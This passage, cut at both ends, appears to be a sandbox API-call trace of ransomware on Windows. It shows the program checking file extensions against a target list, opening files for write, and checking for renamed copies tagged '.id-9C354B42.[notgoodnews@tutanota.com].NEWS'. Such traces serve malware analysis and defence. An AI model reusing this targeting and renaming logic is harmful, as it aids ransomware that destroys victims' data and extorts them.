[0050.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0050.707] lstrlenW (lpString=".doc") returned 4 [0050.707] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0050.707] lstrlenW (lpString=".docx") returned 5 [0050.707] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0050.707] lstrlenW (lpString=".pdf") returned 4 [0050.707] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0050.707] lstrlenW (lpString=".xls") returned 4 [0050.708] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0050.708] lstrlenW (lpString=".xlsx") returned 5 [0050.708] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0050.708] lstrlenW (lpString=".ppt") returned 4 [0050.708] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0050.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0050.708] lstrlenW (lpString=".zip") returned 4 [0050.708] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0050.708] lstrlenW (lpString=".rar") returned 4 [0050.708] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0050.708] lstrlenW (lpString=".bz2") returned 4 [0050.708] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0050.708] lstrlenW (lpString=".7z") returned 3 [0050.708] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0050.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0050.708] lstrlenW (lpString=".dbf") returned 4 [0050.708] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0050.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0050.708] lstrlenW (lpString=".1cd") returned 4 [0050.708] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0050.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0050.708] lstrlenW (lpString=".jpg") returned 4 [0050.708] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0050.709] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0050.709] lstrlenW (lpString="auxbase.xml") returned 11 [0050.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0051.001] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1434) returned 1 [0051.001] CloseHandle (hObject=0x1ac) returned 1 [0051.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0051.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0051.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0051.001] lstrlenW (lpString=".doc") returned 4 [0051.001] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.001] lstrlenW (lpString=".docx") returned 5 [0051.001] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0051.001] lstrlenW (lpString=".pdf") returned 4 [0051.001] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.001] lstrlenW (lpString=".xls") returned 4 [0051.001] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.002] lstrlenW (lpString=".xlsx") returned 5 [0051.002] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0051.002] lstrlenW (lpString=".ppt") returned 4 [0051.002] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0051.002] lstrlenW (lpString=".zip") returned 4 [0051.002] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.002] lstrlenW (lpString=".rar") returned 4 [0051.002] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.002] lstrlenW (lpString=".bz2") returned 4 [0051.002] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.002] lstrlenW (lpString=".7z") returned 3 [0051.002] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0051.002] lstrlenW (lpString=".dbf") returned 4 [0051.002] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0051.002] lstrlenW (lpString=".1cd") returned 4 [0051.002] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0051.002] lstrlenW (lpString=".jpg") returned 4 [0051.002] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0051.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0051.003] lstrlenW (lpString=".doc") returned 4 [0051.003] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.003] lstrlenW (lpString=".docx") returned 5 [0051.003] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0051.003] lstrlenW (lpString=".pdf") returned 4 [0051.003] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.003] lstrlenW (lpString=".xls") returned 4 [0051.003] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.003] lstrlenW (lpString=".xlsx") returned 5 [0051.003] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0051.003] lstrlenW (lpString=".ppt") returned 4 [0051.003] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0051.003] lstrlenW (lpString=".zip") returned 4 [0051.003] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.003] lstrlenW (lpString=".rar") returned 4 [0051.003] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.003] lstrlenW (lpString=".bz2") returned 4 [0051.003] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.003] lstrlenW (lpString=".7z") returned 3 [0051.003] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0051.003] lstrlenW (lpString=".dbf") returned 4 [0051.004] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0051.004] lstrlenW (lpString=".1cd") returned 4 [0051.004] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0051.004] lstrlenW (lpString=".jpg") returned 4 [0051.004] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.004] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.004] lstrlenW (lpString="auxpad.xml") returned 10 [0051.004] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0051.443] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=212) returned 1 [0051.443] CloseHandle (hObject=0x194) returned 1 [0051.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0051.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0051.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0051.443] lstrlenW (lpString=".doc") returned 4 [0051.444] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.444] lstrlenW (lpString=".docx") returned 5 [0051.444] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0051.444] lstrlenW (lpString=".pdf") returned 4 [0051.444] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.444] lstrlenW (lpString=".xls") returned 4 [0051.444] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.444] lstrlenW (lpString=".xlsx") returned 5 [0051.444] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0051.444] lstrlenW (lpString=".ppt") returned 4 [0051.444] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0051.444] lstrlenW (lpString=".zip") returned 4 [0051.444] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.444] lstrlenW (lpString=".rar") returned 4 [0051.444] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.444] lstrlenW (lpString=".bz2") returned 4 [0051.444] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.444] lstrlenW (lpString=".7z") returned 3 [0051.445] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0051.445] lstrlenW (lpString=".dbf") returned 4 [0051.445] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0051.445] lstrlenW (lpString=".1cd") returned 4 [0051.445] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0051.445] lstrlenW (lpString=".jpg") returned 4 [0051.445] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0051.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0051.445] lstrlenW (lpString=".doc") returned 4 [0051.445] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.445] lstrlenW (lpString=".docx") returned 5 [0051.445] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0051.445] lstrlenW (lpString=".pdf") returned 4 [0051.445] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.446] lstrlenW (lpString=".xls") returned 4 [0051.446] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.446] lstrlenW (lpString=".xlsx") returned 5 [0051.446] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0051.446] lstrlenW (lpString=".ppt") returned 4 [0051.446] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0051.446] lstrlenW (lpString=".zip") returned 4 [0051.446] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.446] lstrlenW (lpString=".rar") returned 4 [0051.446] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.446] lstrlenW (lpString=".bz2") returned 4 [0051.446] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.446] lstrlenW (lpString=".7z") returned 3 [0051.446] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0051.446] lstrlenW (lpString=".dbf") returned 4 [0051.446] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0051.446] lstrlenW (lpString=".1cd") returned 4 [0051.447] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0051.447] lstrlenW (lpString=".jpg") returned 4 [0051.447] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.447] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.447] lstrlenW (lpString="base_ca.xml") returned 11 [0051.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0051.845] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=3166) returned 1 [0051.845] CloseHandle (hObject=0x208) returned 1 [0051.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0051.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0051.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0051.846] lstrlenW (lpString=".doc") returned 4 [0051.846] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.846] lstrlenW (lpString=".docx") returned 5 [0051.846] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0051.846] lstrlenW (lpString=".pdf") returned 4 [0051.846] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.846] lstrlenW (lpString=".xls") returned 4 [0051.846] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.846] lstrlenW (lpString=".xlsx") returned 5 [0051.846] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0051.846] lstrlenW (lpString=".ppt") returned 4 [0051.846] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0051.846] lstrlenW (lpString=".zip") returned 4 [0051.846] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.846] lstrlenW (lpString=".rar") returned 4 [0051.846] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.846] lstrlenW (lpString=".bz2") returned 4 [0051.846] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.847] lstrlenW (lpString=".7z") returned 3 [0051.847] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0051.847] lstrlenW (lpString=".dbf") returned 4 [0051.847] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0051.847] lstrlenW (lpString=".1cd") returned 4 [0051.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0051.847] lstrlenW (lpString=".jpg") returned 4 [0051.847] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0051.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0051.847] lstrlenW (lpString=".doc") returned 4 [0051.847] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.847] lstrlenW (lpString=".docx") returned 5 [0051.847] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0051.847] lstrlenW (lpString=".pdf") returned 4 [0051.847] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.848] lstrlenW (lpString=".xls") returned 4 [0051.848] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.848] lstrlenW (lpString=".xlsx") returned 5 [0051.848] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0051.848] lstrlenW (lpString=".ppt") returned 4 [0051.848] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0051.848] lstrlenW (lpString=".zip") returned 4 [0051.848] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.848] lstrlenW (lpString=".rar") returned 4 [0051.848] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.848] lstrlenW (lpString=".bz2") returned 4 [0051.848] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.848] lstrlenW (lpString=".7z") returned 3 [0051.848] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0051.848] lstrlenW (lpString=".dbf") returned 4 [0051.848] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0051.848] lstrlenW (lpString=".1cd") returned 4 [0051.848] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0051.849] lstrlenW (lpString=".jpg") returned 4 [0051.849] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.849] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0051.849] lstrlenW (lpString="oskmenu.xml") returned 11 [0051.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0051.945] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=215) returned 1 [0051.945] CloseHandle (hObject=0x1cc) returned 1 [0051.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0051.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0051.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0051.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0051.946] lstrlenW (lpString=".doc") returned 4 [0051.946] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.946] lstrlenW (lpString=".docx") returned 5 [0051.946] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0051.946] lstrlenW (lpString=".pdf") returned 4 [0051.946] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.946] lstrlenW (lpString=".xls") returned 4 [0051.946] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.947] lstrlenW (lpString=".xlsx") returned 5 [0051.947] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0051.947] lstrlenW (lpString=".ppt") returned 4 [0051.947] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0051.947] lstrlenW (lpString=".zip") returned 4 [0051.947] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.947] lstrlenW (lpString=".rar") returned 4 [0051.947] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.947] lstrlenW (lpString=".bz2") returned 4 [0051.947] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.947] lstrlenW (lpString=".7z") returned 3 [0051.947] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0051.947] lstrlenW (lpString=".dbf") returned 4 [0051.947] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0051.948] lstrlenW (lpString=".1cd") returned 4 [0051.948] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0051.948] lstrlenW (lpString=".jpg") returned 4 [0051.948] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0051.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0051.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0051.948] lstrlenW (lpString=".doc") returned 4 [0051.948] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0051.948] lstrlenW (lpString=".docx") returned 5 [0051.948] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0051.948] lstrlenW (lpString=".pdf") returned 4 [0051.948] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0051.948] lstrlenW (lpString=".xls") returned 4 [0051.948] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0051.948] lstrlenW (lpString=".xlsx") returned 5 [0051.948] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0051.948] lstrlenW (lpString=".ppt") returned 4 [0051.948] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0051.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0051.948] lstrlenW (lpString=".zip") returned 4 [0051.949] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0051.949] lstrlenW (lpString=".rar") returned 4 [0051.949] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0051.949] lstrlenW (lpString=".bz2") returned 4 [0051.949] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0051.949] lstrlenW (lpString=".7z") returned 3 [0051.949] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0051.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0051.949] lstrlenW (lpString=".dbf") returned 4 [0051.949] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0051.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0051.949] lstrlenW (lpString=".1cd") returned 4 [0051.949] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0051.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0051.949] lstrlenW (lpString=".jpg") returned 4 [0051.949] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned 